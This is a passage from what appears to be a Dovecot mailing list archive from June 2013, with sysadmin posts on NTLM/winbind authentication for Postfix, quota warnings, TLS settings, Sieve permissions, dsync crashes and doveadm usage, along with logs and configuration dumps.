delays=0.23/0.04/0.16/0.72, dsn=2.0.0, status=sent (250 2.0.0 OK 1371845579 wf5si3786287pab.138 - gsmtp) Jun 21 13:12:59 SBSMTPNV05 postfix/qmgr[1499]: 54EAF8059B: removed -- I also see this in the secure log: Jun 21 13:12:58 SBSMTPNV05 auth: pam_unix(dovecot:auth): authentication failure; logname= uid=0 euid=0 tty=dovecot ruser=myusername rhost=10.20.2.0 user=myusername Jun 21 13:12:58 SBSMTPNV05 auth: pam_winbind(dovecot:auth): getting password (0x00000010) Jun 21 13:12:58 SBSMTPNV05 auth: pam_winbind(dovecot:auth): pam_get_item returned a password Jun 21 13:12:58 SBSMTPNV05 auth: pam_winbind(dovecot:auth): user 'myusername' granted access Jun 21 13:12:58 SBSMTPNV05 auth: pam_winbind(dovecot:account): user 'myusername' granted access -- However, when I switch the mechanism to NTLM in the Thurnderbird MUA I see this: Jun 21 13:15:46 SBSMTPNV05 postfix/smtpd[1506]: connect from nvit01b.mydomain.com[10.20.2.0] Jun 21 13:15:46 SBSMTPNV05 dovecot: auth: Debug: Loading modules from directory: /usr/lib64/dovecot/auth Jun 21 13:15:46 SBSMTPNV05 dovecot: auth: Debug: Module loaded: /usr/lib64/dovecot/auth/libauthdb_ldap.so Jun 21 13:15:46 SBSMTPNV05 dovecot: auth: Debug: Module loaded: /usr/lib64/dovecot/auth/libdriver_sqlite.so Jun 21 13:15:46 SBSMTPNV05 dovecot: auth: Debug: Module loaded: /usr/lib64/dovecot/auth/libmech_gssapi.so Jun 21 13:15:46 SBSMTPNV05 dovecot: auth: Debug: auth client connected (pid=1506) Jun 21 13:15:46 SBSMTPNV05 dovecot: auth: Debug: client in: AUTH#0111#011NTLM#011service=smtp#011nologin#011lip=10.20.4.12#011rip=10.20.2.0#011resp=TlRMT[...snip...]A= Jun 21 13:15:46 SBSMTPNV05 dovecot: auth: Debug: client out: CONT#0111#011TlRMT[[...snip...]A Jun 21 13:15:46 SBSMTPNV05 dovecot: auth: Debug: client in: CONT#0111#011TlRMT[...snip...]A= Jun 21 13:15:46 SBSMTPNV05 dovecot: auth: winbind(?,10.20.2.0): user not authenticated: NT_STATUS_UNSUCCESSFUL Jun 21 13:15:48 SBSMTPNV05 postfix/smtpd[1506]: warning: nvit01b.mydomain.com[10.20.2.0]: SASL NTLM authentication failed: TlRMT[...snip...]A Jun 21 13:15:48 SBSMTPNV05 dovecot: auth: Debug: client out: FAIL#0111 Jun 21 13:15:49 SBSMTPNV05 postfix/smtpd[1506]: disconnect from nvit01b.mydomain.com[10.20.2.0] -- with nothing in the secure log and I don't see anything show up in the winbind logs either. -- I've reviewed these pages as reference, and I'm not sure what I'm missing: http://wiki2.dovecot.org/HowTo/ActiveDirectoryNtlm http://wiki2.dovecot.org/Authentication/Mechanisms/NTLM http://www.dovecot.org/list/dovecot/2008-December/035630.html http://www.dovecot.org/list/dovecot/2010-February/046763.html http://blog.al-shami.net/2008/05/freebsd-postfix-dovecot-and-active-directo… http://wiki2.dovecot.org/HowTo/PostfixAndDovecotSASL -- Here's some of my relevant configuration as I understand it: -- I've joined the computer to the AD domain. The wbinfo tests work fine: # wbinfo -t checking the trust secret for domain MYDOMAIN via RPC calls succeeded # doveconf -n # 2.0.9: /etc/dovecot/dovecot.conf # OS: Linux 2.6.32-358.11.1.el6.x86_64 x86_64 CentOS release 6.4 (Final) auth_debug_passwords = yes auth_mechanisms = plain ntlm login auth_use_winbind = yes auth_username_format = %Lu listen = * mbox_write_locks = fcntl passdb { driver = pam } service auth { unix_listener /var/spool/postfix/private/auth { group = postfix mode = 0666 user = postfix } } ssl_cert = </etc/pki/dovecot/certs/dovecot.pem ssl_key = </etc/pki/dovecot/private/dovecot.pem userdb { driver = passwd } //////////////////// # postconf -n alias_database = hash:/etc/aliases alias_maps = hash:/etc/aliases command_directory = /usr/sbin config_directory = /etc/postfix daemon_directory = /usr/libexec/postfix data_directory = /var/lib/postfix debug_peer_level = 7 html_directory = no inet_interfaces = all inet_protocols = ipv4 line_length_limit = 6144 mail_owner = postfix mailq_path = /usr/bin/mailq.postfix manpage_directory = /usr/share/man mydestination = $myhostname, localhost.$mydomain, localhost myhostname = srvsbsmtp05.mydomain.com newaliases_path = /usr/bin/newaliases.postfix queue_directory = /var/spool/postfix readme_directory = /usr/share/doc/postfix-2.6.6/README_FILES sample_directory = /usr/share/doc/postfix-2.6.6/samples sendmail_path = /usr/sbin/sendmail.postfix setgid_group = postdrop smtpd_recipient_restrictions = permit_sasl_authenticated,reject_unauth_destination smtpd_sasl_auth_enable = yes smtpd_sasl_path = private/auth smtpd_sasl_type = dovecot unknown_local_recipient_reject_code = 550 ///////////////////// # cat /etc/krb5.conf [logging] default = FILE:/var/log/krb5libs.log kdc = FILE:/var/log/krb5kdc.log admin_server = FILE:/var/log/kadmind.log [libdefaults] default_realm = MYDOMAIN.COM dns_lookup_realm = true dns_lookup_kdc = true ticket_lifetime = 24h renew_lifetime = 7d forwardable = true [domain_realm] .mydomain.com = MYDOMAIN.COM mydomain.com = MYDOMAIN.COM //////////////////// system keytab: # klist -ke Keytab name: FILE:/etc/krb5.keytab KVNO Principal ---- -------------------------------------------------------------------------- 3 host/sbsmtpnv05.mydomain.com(a)MYDOMAIN.COM (des-cbc-crc) 3 host/sbsmtpnv05.mydomain.com(a)MYDOMAIN.COM (des-cbc-md5) 3 host/sbsmtpnv05.mydomain.com(a)MYDOMAIN.COM (arcfour-hmac) 3 host/sbsmtpnv05.mydomain.com(a)MYDOMAIN.COM (aes128-cts-hmac-sha1-96) 3 host/sbsmtpnv05.mydomain.com(a)MYDOMAIN.COM (aes256-cts-hmac-sha1-96) 3 host/sbsmtpnv05(a)MYDOMAIN.COM (des-cbc-crc) 3 host/sbsmtpnv05(a)MYDOMAIN.COM (des-cbc-md5) 3 host/sbsmtpnv05(a)MYDOMAIN.COM (arcfour-hmac) 3 host/sbsmtpnv05(a)MYDOMAIN.COM (aes128-cts-hmac-sha1-96) 3 host/sbsmtpnv05(a)MYDOMAIN.COM (aes256-cts-hmac-sha1-96) 3 SBSMTPNV05$(a)MYDOMAIN.COM (des-cbc-crc) 3 SBSMTPNV05$(a)MYDOMAIN.COM (des-cbc-md5) 3 SBSMTPNV05$(a)MYDOMAIN.COM (arcfour-hmac) 3 SBSMTPNV05$(a)MYDOMAIN.COM (aes128-cts-hmac-sha1-96) 3 SBSMTPNV05$(a)MYDOMAIN.COM (aes256-cts-hmac-sha1-96) 5 smtp/sbsmtpnv05.mydomain.com(a)MYDOMAIN.COM (des-cbc-crc) 5 smtp/sbsmtpnv05.mydomain.com(a)MYDOMAIN.COM (des-cbc-md5) 5 smtp/sbsmtpnv05.mydomain.com(a)MYDOMAIN.COM (arcfour-hmac) 5 smtp/sbsmtpnv05.mydomain.com(a)MYDOMAIN.COM (aes128-cts-hmac-sha1-96) 5 smtp/sbsmtpnv05.mydomain.com(a)MYDOMAIN.COM (aes256-cts-hmac-sha1-96) //////////////////// Samba config: [global] workgroup = MYDOMAIN realm = MYDOMAIN.COM server string = Samba Server Version %v security = ADS kerberos method = system keytab log file = /var/log/samba/log.%m max log size = 50 printcap name = /dev/null domain master = No template shell = /bin/bash winbind separator = + winbind use default domain = Yes idmap config * : range = 10000-50000 idmap config * : backend = tdb printing = bsd cups options = raw print command = lpr -r -P'%p' %s lpq command = lpq -P'%p' lprm command = lprm -P'%p' %j

1 0

[Dovecot] v2.2.4 released
by Timo Sirainen 25 Jun '13

25 Jun '13

http://dovecot.org/releases/2.2/dovecot-2.2.4.tar.gz http://dovecot.org/releases/2.2/dovecot-2.2.4.tar.gz.sig OK, this should be a pretty good and stable version. + doveadm: Added "flags" command to modify message flags. + doveadm: Added "deduplicate" command to expunge message duplicates. + dsync: Show the state in process title with verbose_proctitle=yes. - imap/pop3 proxy: Master user logins were broken in v2.2.3 - sdbox/mdbox: A corrupted index header with wrong size was never automatically fixed in v2.2.3. - mbox: Fixed assert-crashes related to locking.

4 6

[Dovecot] Configuring TLS 1.2
by Phillip Odam 25 Jun '13

25 Jun '13

Hi I'm running dovecot 2.1.6 and am trying to configure it to require TLS 1.2. So far I've only got as far as getting TLS 1.0 going. In the config file <dovecot root>/etc/dovecot/conf.d/10-ssl.conf, I've tried setting ssl_protocols to values like TLSv1.2:!TLSv1:!SSL3 but without any success. Attempts to google this matter turns up results for dovecot v1.2 as opposed to configuring TLS 1.2 in dovecot And having a look over the mailing list archive hasn't turned anything up thus far. Any pointers would be greatly appreciated. Thanks Phillip

2 2

[Dovecot] Sieve file permission problem
by Zoltan Lippai 25 Jun '13

25 Jun '13

Hi folks, I am using dovecot 2.1.7 with the ManageSieve plugin which works great. Recently I set up Afterlogic webmail on my server (the community version) and it has a nice UI to manage the sieve settings. It uses port 2000 to communicate with dovecot via the ManageSieve plugin. Also, dovecot uses Maildirs to store the messages. The problem is that the permissions on the files that store the sieve rules are to strict. I am talking about the "sieve" directory and the .dovecot.sieve file. The sieve folder has a chmod 700 and the .dovecot.sieve is chmod 600. Both are owned by vmail:mail If I delete these two items, then the rules can be saved via the web interface. Then these files are created but for some reason the ManageSieve plugin can't modify them. Here is the output of dovecot -n: http://pastebin.com/4eqyBKCA Can you help me out on this? Thanks a lot! Zoltan

5 7

[Dovecot] dsync assert failure in 2.2.2
by Tomas Olsson 25 Jun '13

25 Jun '13

Hi, with 2.2.2 and today's hg, dsync crashes with dsync(root): Panic: file ../../../../../src/lib-storage/index/mbox/mbox-lock.c: line 797 (mbox_lock): assertion failed: (lock_type == F_RDLCK || mbox->mbox_lock_type != F_RDLCK) when I run USER=root 2.2-hg/bin/dsync -c etc/dovecot.conf -f -o mail_location=mbox:/tmp/imap/fwadmin.tmp:INBOX=/tmp/imap/fwadmin.tmp/INBOX mirror mdbox:/tmp/imap/fwadmin It seems to happen for all mailboxes that are not empty. 2.2.1 completes the conversion without any complaints. config: # 2.2.2 (a3b5b762639a): etc/dovecot.conf # OS: Linux 3.2.0-32-generic i686 Ubuntu 12.04.2 LTS default_internal_user = nobody default_login_user = nobody Backtrace (hg version): #0 i_panic (format=0x252530 "file %s: line %d (%s): assertion failed: (%s)") at ../../../src/lib/failures.c:255 #1 0x001c643f in mbox_lock (mbox=0x80d9b40, lock_type=<optimized out>, lock_id_r=0x811352c) at ../../../../../src/lib-storage/index/mbox/mbox-lock.c:797 #2 0x001c695c in mbox_mail_seek (mail=0x81188e0) at ../../../../../src/lib-storage/index/mbox/mbox-mail.c:82 #3 0x001c6ee1 in mbox_mail_init_stream (mail=0x81188e0) at ../../../../../src/lib-storage/index/mbox/mbox-mail.c:335 #4 mbox_mail_get_stream (_mail=0x81188e0, get_body=false, hdr_size=0x0, body_size=0x0, stream_r=0xbffff77c) at ../../../../../src/lib-storage/index/mbox/mbox-mail.c:375 #5 0x001e65b0 in mail_get_hdr_stream (mail=0x81188e0, hdr_size=0x0, stream_r=0xbffff77c) at ../../../src/lib-storage/mail.c:226 #6 0x00215532 in index_mail_get_header_stream (_mail=0x81188e0, headers=0x8106fd0, stream_r=0xbffff7e0) at ../../../../src/lib-storage/index/index-mail-headers.c:837 #7 0x001e649d in mail_get_header_stream (mail=0x81188e0, headers=0x8106fd0, stream_r=0xbffff7e0) at ../../../src/lib-storage/mail.c:190 #8 0x08084bf2 in dsync_mail_get_hdr_hash (mail=0x81188e0, hdr_hash_r=0xbffff8ec) at ../../../../src/doveadm/dsync/dsync-mail.c:32 #9 0x080736a8 in importer_try_next_mail (wanted_uid=1, importer=0x81136e0) at ../../../../src/doveadm/dsync/dsync-mailbox-import.c:515 #10 importer_next_mail (importer=0x81136e0, wanted_uid=1) at ../../../../src/doveadm/dsync/dsync-mailbox-import.c:536 #11 0x0807729a in dsync_mailbox_import_changes_finish (importer=0x81136e0) at ../../../../src/doveadm/dsync/dsync-mailbox-import.c:1754 #12 0x08072e3b in dsync_brain_recv_mail_change (brain=0x80beaf8) at ../../../../src/doveadm/dsync/dsync-brain-mails.c:102 #13 dsync_brain_sync_mails (brain=0x80beaf8) at ../../../../src/doveadm/dsync/dsync-brain-mails.c:319 #14 0x0806f11b in dsync_brain_run_real (changed_r=0xbffffae6, brain=0x80beaf8) at ../../../../src/doveadm/dsync/dsync-brain.c:440 #15 dsync_brain_run (brain=0x80beaf8, changed_r=0xbffffae6) at ../../../../src/doveadm/dsync/dsync-brain.c:469 #16 0x0806d1ef in cmd_dsync_run_local (ibc2=0x80be8d8, brain=0x80beaf8, user=0x80ba8f0, ctx=0x80b2ca8) at ../../../../src/doveadm/dsync/doveadm-dsync.c:356 #17 cmd_dsync_run (_ctx=0x80b2ca8, user=0x80ba8f0) at ../../../../src/doveadm/dsync/doveadm-dsync.c:543 #18 0x08055424 in doveadm_mail_next_user (error_r=0xbffffbcc, ctx=0x80b2ca8, input=<optimized out>) at ../../../src/doveadm/doveadm-mail.c:308 #19 doveadm_mail_next_user (ctx=0x80b2ca8, input=<optimized out>, error_r=0xbffffbcc) at ../../../src/doveadm/doveadm-mail.c:267 #20 0x080560fc in doveadm_mail_cmd (argv=0x80af1ec, argc=<optimized out>, cmd=0x80b226c) at ../../../src/doveadm/doveadm-mail.c:517 #21 doveadm_mail_try_run (cmd_name=0x80af286 "sync", argc=3, argv=0x80af1e4) at ../../../src/doveadm/doveadm-mail.c:609 #22 0x08055046 in main (argc=3, argv=0x80af1e4) at ../../../src/doveadm/doveadm.c:398 I'm attaching the mbox file. /t

1 1

[Dovecot] Quota based on LDAP group
by Pavel Herrmann 25 Jun '13

25 Jun '13

Hi I have a setup where my dovecot (2.0, if that makes a difference) authenticates against an LDAP directory. In my scenario, I have two types of users, lets call them "normal" and "privileged". What I need is for the normal user to have a fixed quota, but for the priviledged to have none. (The users do not exist on the underlying system, so I cant do quota based on FS) The issue is that my LDAP is actually an AD, and there is a fair amount of new accounts over the time (in other words, I cannot use LDAP attribute for storing quota, because the AD tools don't understand it, and I would have to add it manually for each new account). The approach I had in mind is using quota based on user group (I do have groups representing both normal and priviledged users), but I cannot find a way to set it up in dovecot. Am I missing something or does dovecot not support LDAP groups as attribute source? thanks Pavel Herrmann

2 4

[Dovecot] chown
by Yann Shukor 25 Jun '13

25 Jun '13

Hi I currently have to execute the following command everytime I restart Dovecot : chown dovenull:vmail /var/run/dovecot/login What should I change in my config files to avoidhaving to do this ? thanks yann ========= Dovecot -n: ========= # 2.2.2 (45399357008a): /etc/dovecot/dovecot.conf # OS: Linux 3.2.0-4-686-pae i686 Debian 7.0 ext4 auth_debug = yes auth_mechanisms = plain login auth_socket_path = /var/run/dovecot/auth-userdb auth_verbose = yes disable_plaintext_auth = no first_valid_gid = 5000 first_valid_uid = 5000 hostname = holimail.holinice.com last_valid_gid = 5000 last_valid_uid = 5000 listen = * mail_debug = yes mail_gid = vmail mail_location = maildir:/var/vmail/%d/%n/Maildir mail_privileged_group = mail mail_uid = vmail managesieve_notify_capability = mailto managesieve_sieve_capability = fileinto reject envelope encoded-character vacation subaddress comparator-i;ascii-numeric relational regex imap4flags copy include variables body enotify environment mailbox date ihave namespace inbox { inbox = yes location = maildir:/var/vmail/%d/%n/Maildir mailbox Brouillons { special_use = \Drafts } mailbox "Courrier indesirable" { special_use = \Junk } mailbox "Elements envoyes" { special_use = \Sent } mailbox "Elements supprimes" { special_use = \Trash } prefix = subscriptions = yes } passdb { args = scheme=CRAM-MD5 /etc/dovecot/users.conf driver = passwd-file } passdb { driver = pam } plugin { sieve = ~/.dovecot.sieve sieve_dir = ~/sieve } postmaster_address = azurtem(a)holinice.com protocols = " imap sieve pop3" service auth-worker { user = $default_internal_user } service auth { unix_listener /var/spool/postfix/private/auth { group = postfix mode = 0666 user = postfix } unix_listener auth-userdb { group = vmail mode = 0600 user = vmail } } service imap-login { group = dovecot inet_listener imap { port = 143 } inet_listener imaps { port = 993 ssl = yes } } service imap { process_limit = 1024 } service pop3-login { inet_listener pop3 { port = 110 } inet_listener pop3s { port = 995 ssl = yes } } service pop3 { process_limit = 1024 } ssl_cert = </etc/ssl/certs/dovecot.pem ssl_key = </etc/ssl/private/dovecot.pem userdb { args = uid=5000 gid=5000 home=/var/vmail/%d/%n allow_all_users=yes driver = static } userdb { driver = passwd } protocol lda { mail_plugins = " sieve" }

2 1

[Dovecot] auth probes without IP - "Initial status notification not received ..."
by LEVAI Daniel 25 Jun '13

25 Jun '13

Hi! I've been getting a bunch of these messages lately in my logs: dovecot: master: Error: service(auth): Initial status notification not received in 30 seconds, killing the process dovecot: auth: Fatal: master: service(auth): child 11016 killed with signal 9 dovecot: master: Error: service(auth): Initial status notification not received in 30 seconds, killing the process dovecot: auth: Fatal: master: service(auth): child 27660 killed with signal 9 # fgrep -c -e "master: Error: service(auth): Initial status" dovecot.log* [...] dovecot.log.1:501 dovecot.log.2:250 [...] But I can not link these auth probes to any IP addresses within the dovecot log files. This is dovecot-2.2.2 on OpenBSD-stable. What do you guys suggest? Thanks, Daniel -- LÉVAI Dániel PGP key ID = 0x83B63A8F Key fingerprint = DBEC C66B A47A DFA2 792D 650C C69B BE4C 83B6 3A8F

2 2

[Dovecot] Warning recipient when message delivery fails due to over-quota
by Ben Johnson 24 Jun '13

24 Jun '13

I'm working to configure automated quota notifications in Dovecot and am wondering if it is possible to send a warning message to a user when message delivery fails because the user is over-quota. I already have the following directives configured: quota_warning = storage=95%% quota-warning 95 %u %d quota_warning2 = storage=80%% quota-warning 80 %u %d quota_warning3 = -storage=100%% quota-below below %u %d These seem to function as expected, but the problem I'm facing is that when a message is large enough to take the user's quota from, say, 84% to over 100%, the message is rejected (as expected), but the user is never warned that a message failed to be delivered because it would have put him over 100% usage. I suppose that I'm looking for a trigger that is tripped when delivering the message *would* put the user over-quota (as opposed to *does in fact* put the user over). The sender receives an automated rejection message already. I'm wondering if the recipient can be warned at the same time. (I'm not concerned about further increasing the user's quota consumption with the warning message; I would set noenforcing to 1.) Is this possible? Any help is much appreciated. Thanks in advance. -Ben

3 4

[Dovecot] mail_max_userip_connections on a per user basis
by Antonio Leding 24 Jun '13

24 Jun '13

Hello, Can the above setting be applied on a per user account basis? I thought that maybe something like per account quotas might be a possible method but not sure. Thanks.

2 1

[Dovecot] doveadm move command
by vincent truc 24 Jun '13

24 Jun '13

Hello I want to transfer an email from user1(a)domain.com to put it in a folder of another user: user2(a)domain.com For that, it seems to me appropriate to use 'doveadm move' command, but I can not get the right result. Can you help me? syntax: doveadm move [-u <user>|-A] [-S <socket_path>] <destination> [user <source user>] <search query> my attempts: doveadm move -u user2(a)domain.com DIRECTORY_2 mailbox user1(a)domain.com:'DIRECTORY_1' all return: Error: Syncing mailbox user1@domaine.fr:DOSSIER_1 failed: Mailbox doesn't exist: user1@domaine.fr:DOSSIER_1 doveadm -u user2(a)domain.com DIRECTORY_2 mailbox sdbox:/complete/path/user1@domain.com/mailboxes/DIRECTORY_1 all return: Error: Syncing mailbox sdbox:/complete/path/user1@domain.com/mailboxes/DIRECTORY_1 failed: Mailbox doesn't exist: sdbox:/complete/path/user1@domain.com/mailboxes/DIRECTORY_1 doveadm move -u user2(a)domain.com DIRECTORY_2 mailbox user1(a)domain.com 'DIRECTORY_2' all return: Fatal: Unknown argument DIRECTORY_2

2 1

[Dovecot] Dsync only one mailbox
by Piotr Janusz 24 Jun '13

24 Jun '13

Hi, I am looking for a way to sync only selected files/mailbox'es using dsync. Am I using the dsync -m option incorectly? It looks like it's being ignored. And as for the main INBOX (/var/mail/username) what should be the parameter for -m? dovecot --version 2.1.7 dsync -u pj -D -v -m Alerts -o mail_location=mdbox:/home/pj/mdbox backup mbox:/home/pj/:INBOX=/var/mail/pj doveadm(root): Debug: Loading modules from directory: /usr/lib/dovecot/modules doveadm(root): Debug: Module loaded: /usr/lib/dovecot/modules/lib10_quota_plugin.so doveadm(root): Debug: Loading modules from directory: /usr/lib/dovecot/modules/doveadm doveadm(root): Debug: Skipping module doveadm_acl_plugin, because dlopen() failed: /usr/lib/dovecot/modules/doveadm/lib10_doveadm_acl_plugin.so: undefined symbol: acl_user_module (this is usually intentional, so just ignore this message) doveadm(root): Debug: Skipping module doveadm_expire_plugin, because dlopen() failed: /usr/lib/dovecot/modules/doveadm/lib10_doveadm_expire_plugin.so: undefined symbol: expire_set_lookup (this is usually intentional, so just ignore this message) doveadm(root): Debug: Module loaded: /usr/lib/dovecot/modules/doveadm/lib10_doveadm_quota_plugin.so doveadm(root): Debug: Skipping module doveadm_zlib_plugin, because dlopen() failed: /usr/lib/dovecot/modules/doveadm/lib10_doveadm_zlib_plugin.so: undefined symbol: i_stream_create_deflate (this is usually intentional, so just ignore this message) doveadm(root): Debug: Skipping module doveadm_fts_plugin, because dlopen() failed: /usr/lib/dovecot/modules/doveadm/lib20_doveadm_fts_plugin.so: undefined symbol: fts_list_backend (this is usually intentional, so just ignore this message) doveadm(pj): Debug: Effective uid=3195, gid=3195, home=/home/pj doveadm(pj): Debug: Quota root: name=INBOX backend=fs args=mount=/var/:user doveadm(pj): Debug: Quota root: name=Katalog_domowy backend=fs args=mount=/home/:user doveadm(pj): Debug: Namespace inbox: type=private, prefix=, sep=, inbox=yes, hidden=no, list=yes, subscriptions=yes location=mdbox:/home/pj/mdbox doveadm(pj): Debug: fs: root=/home/pj/mdbox, index=, control=, inbox=, alt= doveadm(pj): Debug: fs quota add mailbox dir = /var/ doveadm(pj): Debug: fs quota block device = /dev/cciss/c0d0p4 doveadm(pj): Debug: fs quota mount point = /var doveadm(pj): Debug: fs quota mount type = ext4 doveadm(pj): Debug: fs quota add mailbox dir = /home/ doveadm(pj): Debug: fs quota block device = /dev/cciss/c0d1p1 doveadm(pj): Debug: fs quota mount point = /home doveadm(pj): Debug: fs quota mount type = ext4 doveadm(pj): Debug: Namespace : Using permissions from /home/pj/mdbox: mode=0700 gid=-1 dsync(pj): Debug: Effective uid=3195, gid=3195, home=/home/pj dsync(pj): Debug: Quota root: name=INBOX backend=fs args=mount=/var/:user dsync(pj): Debug: Quota root: name=Katalog_domowy backend=fs args=mount=/home/:user dsync(pj): Debug: Namespace inbox: type=private, prefix=, sep=, inbox=yes, hidden=no, list=yes, subscriptions=yes location=mbox:/home/pj/:INBOX=/var/mail/pj dsync(pj): Debug: fs: root=/home/pj, index=, control=, inbox=/var/mail/pj, alt= dsync(pj): Debug: fs quota add mailbox dir = /var/ dsync(pj): Debug: fs quota block device = /dev/cciss/c0d0p4 dsync(pj): Debug: fs quota mount point = /var dsync(pj): Debug: fs quota mount type = ext4 dsync(pj): Debug: fs quota add mailbox dir = /home/ dsync(pj): Debug: fs quota block device = /dev/cciss/c0d1p1 dsync(pj): Debug: fs quota mount point = /home dsync(pj): Debug: fs quota mount type = ext4 dsync(pj): Debug: Namespace : Using permissions from /home/pj: mode=0700 gid=-1 dsync(pj): Error: Failed to sync mailbox www/IMG_20121119_184255.jpg: Mailbox isn't a valid mbox file dsync(pj): Error: Failed to sync mailbox www/rtranalizer.exe: Mailbox isn't a valid mbox file dsync(pj): Error: Failed to sync mailbox www/raport_nsm.rar: Mailbox isn't a valid mbox file .... -- Piotr Janusz

2 1

[Dovecot] dovecot-lda - dovecot: quota-warning: Error: lda: Fatal: Unknown argument
by Ben Johnson 24 Jun '13

24 Jun '13

Hi, everyone, I'm attempting to configure automated quota warnings for users and have hit a snag. The script I'm using is as follows: --------------------------------------------------------------------- #!/bin/sh PERCENT=$1 MAILBOX=$2 DOMAIN=$3 cat << EOF | /usr/lib/dovecot/dovecot-lda -d $USER -o "plugin/quota=dict:user::file:/var/vmail/%d/%n/.quotausage" From: postmaster@$DOMAIN Subject: Email quota warning - mailbox over $PERCENT% full [...] --------------------------------------------------------------------- When the script is triggered, here's what appears in the log: --------------------------------------------------------------------- Jun 24 11:16:53 host dovecot: quota-warning: Error: lda: Fatal: Unknown argument: plugin/quota=dict:user::noenforcing:file:/var/vmail/%d/%n/.quotausage Jun 24 11:16:53 host dovecot: master: Error: service(quota-warning): child 22415 returned error 64 --------------------------------------------------------------------- If I paste the same on the command line, the message is delivered, as expected: /usr/lib/dovecot/dovecot-lda -d user(a)example.com -o "plugin/quota=dict:user::noenforcing:file:/var/vmail/%d/%n/.quotausage" -p /tmp/test.txt The problem seems to be that the -o switch isn't being interpreted correctly when dovecot-lda is called from within the script. -o is the correct switch, yes? From the manual at http://wiki2.dovecot.org/LDA : -o name=value: Override a setting from dovecot.conf. You can give this parameter multiple times. What am I missing here? Is some shell script escaping or similar required? Thanks for any tips! -Ben

1 1

[Dovecot] NTLM Authentication for Postfix SMTP clients
by Matthew Larsen 24 Jun '13

24 Jun '13

I'm trying to get NTLM authentication working with Dovecot to authenticate Postfix SMTP clients. I can authenticate postfix smtp clients using the plain text login mechanism through winbind. However, using the NTLM mechanism gives me an error in my maillog that says: "dovecot: auth: winbind(?,10.20.2.0): user not authenticated: NT_STATUS_UNSUCCESSFUL". At this point, I'm rather stuck. It appears PAM and winbind work for authenticating with AD because it works with the plain text mechanism, but I'm missing something with the NTLM authentication method. Any suggestions as to what I've got wrong, or other logging I can turn up / examine that might shed some light on this? When I use the LOGIN mechanism I see this in the mail logging and the message is relayed: Jun 21 13:12:58 SBSMTPNV05 postfix/smtpd[1501]: connect from nvit01b.mydomain.com[10.20.2.0] Jun 21 13:12:58 SBSMTPNV05 dovecot: auth: Debug: auth client connected (pid=1501) Jun 21 13:12:58 SBSMTPNV05 dovecot: auth: Debug: client in: AUTH#0111#011PLAIN#011service=smtp#011nologin#011lip=10.20.4.12#011rip=10.20.2.0#011resp=AG[...snip...]g== Jun 21 13:12:58 SBSMTPNV05 dovecot: auth: Debug: pam(myusername,10.20.2.0): lookup service=dovecot Jun 21 13:12:58 SBSMTPNV05 dovecot: auth: Debug: pam(myusername,10.20.2.0): #1/1 style=1 msg=Password: Jun 21 13:12:58 SBSMTPNV05 dovecot: auth: Debug: client out: OK#0111#011user=myusername Jun 21 13:12:58 SBSMTPNV05 postfix/smtpd[1501]: 54EAF8059B: client=nvit01b.mydomain.com[10.20.2.0], sasl_method=PLAIN, sasl_username=myusername Jun 21 13:12:58 SBSMTPNV05 postfix/cleanup[1504]: 54EAF8059B: message-id=<51C4B3C8.30008(a)domain1.com> Jun 21 13:12:58 SBSMTPNV05 postfix/qmgr[1499]: 54EAF8059B: from=<someone(a)domain1.com>, size=2700, nrcpt=1 (queue active) Jun 21 13:12:58 SBSMTPNV05 postfix/smtpd[1501]: disconnect from nvit01b.mydomain.com[10.20.2.0] Jun 21 13:12:59 SBSMTPNV05 postfix/smtp[1505]: 54EAF8059B: to=<someone(a)gmail.com>, relay=gmail-smtp-in.l.google.com[74.125.25.27]:25, delay=1.2, delays=0.23/0.04/0.16/0.72, dsn=2.0.0, status=sent (250 2.0.0 OK 1371845579 wf5si3786287pab.138 - gsmtp) Jun 21 13:12:59 SBSMTPNV05 postfix/qmgr[1499]: 54EAF8059B: removed I also see this in the secure log: Jun 21 13:12:58 SBSMTPNV05 auth: pam_unix(dovecot:auth): authentication failure; logname= uid=0 euid=0 tty=dovecot ruser=myusername rhost=10.20.2.0 user=myusername Jun 21 13:12:58 SBSMTPNV05 auth: pam_winbind(dovecot:auth): getting password (0x00000010) Jun 21 13:12:58 SBSMTPNV05 auth: pam_winbind(dovecot:auth): pam_get_item returned a password Jun 21 13:12:58 SBSMTPNV05 auth: pam_winbind(dovecot:auth): user 'myusername' granted access Jun 21 13:12:58 SBSMTPNV05 auth: pam_winbind(dovecot:account): user 'myusername' granted access However, when I switch the mechanism to NTLM in the Thurnderbird MUA I see this: Jun 21 13:15:46 SBSMTPNV05 postfix/smtpd[1506]: connect from nvit01b.mydomain.com[10.20.2.0] Jun 21 13:15:46 SBSMTPNV05 dovecot: auth: Debug: Loading modules from directory: /usr/lib64/dovecot/auth Jun 21 13:15:46 SBSMTPNV05 dovecot: auth: Debug: Module loaded: /usr/lib64/dovecot/auth/libauthdb_ldap.so Jun 21 13:15:46 SBSMTPNV05 dovecot: auth: Debug: Module loaded: /usr/lib64/dovecot/auth/libdriver_sqlite.so Jun 21 13:15:46 SBSMTPNV05 dovecot: auth: Debug: Module loaded: /usr/lib64/dovecot/auth/libmech_gssapi.so Jun 21 13:15:46 SBSMTPNV05 dovecot: auth: Debug: auth client connected (pid=1506) Jun 21 13:15:46 SBSMTPNV05 dovecot: auth: Debug: client in: AUTH#0111#011NTLM#011service=smtp#011nologin#011lip=10.20.4.12#011rip=10.20.2.0#011resp=TlRMT[...snip...]A= Jun 21 13:15:46 SBSMTPNV05 dovecot: auth: Debug: client out: CONT#0111#011TlRMT[[...snip...]A Jun 21 13:15:46 SBSMTPNV05 dovecot: auth: Debug: client in: CONT#0111#011TlRMT[...snip...]A= Jun 21 13:15:46 SBSMTPNV05 dovecot: auth: winbind(?,10.20.2.0): user not authenticated: NT_STATUS_UNSUCCESSFUL Jun 21 13:15:48 SBSMTPNV05 postfix/smtpd[1506]: warning: nvit01b.mydomain.com[10.20.2.0]: SASL NTLM authentication failed: TlRMT[...snip...]A Jun 21 13:15:48 SBSMTPNV05 dovecot: auth: Debug: client out: FAIL#0111 Jun 21 13:15:49 SBSMTPNV05 postfix/smtpd[1506]: disconnect from nvit01b.mydomain.com[10.20.2.0] with nothing in the secure log and I don't see anything show up in the winbind logs either. I've reviewed these pages as reference, and I'm not sure what I'm missing: http://wiki2.dovecot.org/HowTo/ActiveDirectoryNtlm http://wiki2.dovecot.org/Authentication/Mechanisms/NTLM http://www.dovecot.org/list/dovecot/2008-December/035630.html http://www.dovecot.org/list/dovecot/2010-February/046763.html http://blog.al-shami.net/2008/05/freebsd-postfix-dovecot-and-active-directo… http://wiki2.dovecot.org/HowTo/PostfixAndDovecotSASL Here's some of my relevant configuration as I understand it: I've joined the computer to the AD domain. The wbinfo tests work fine: # wbinfo -t 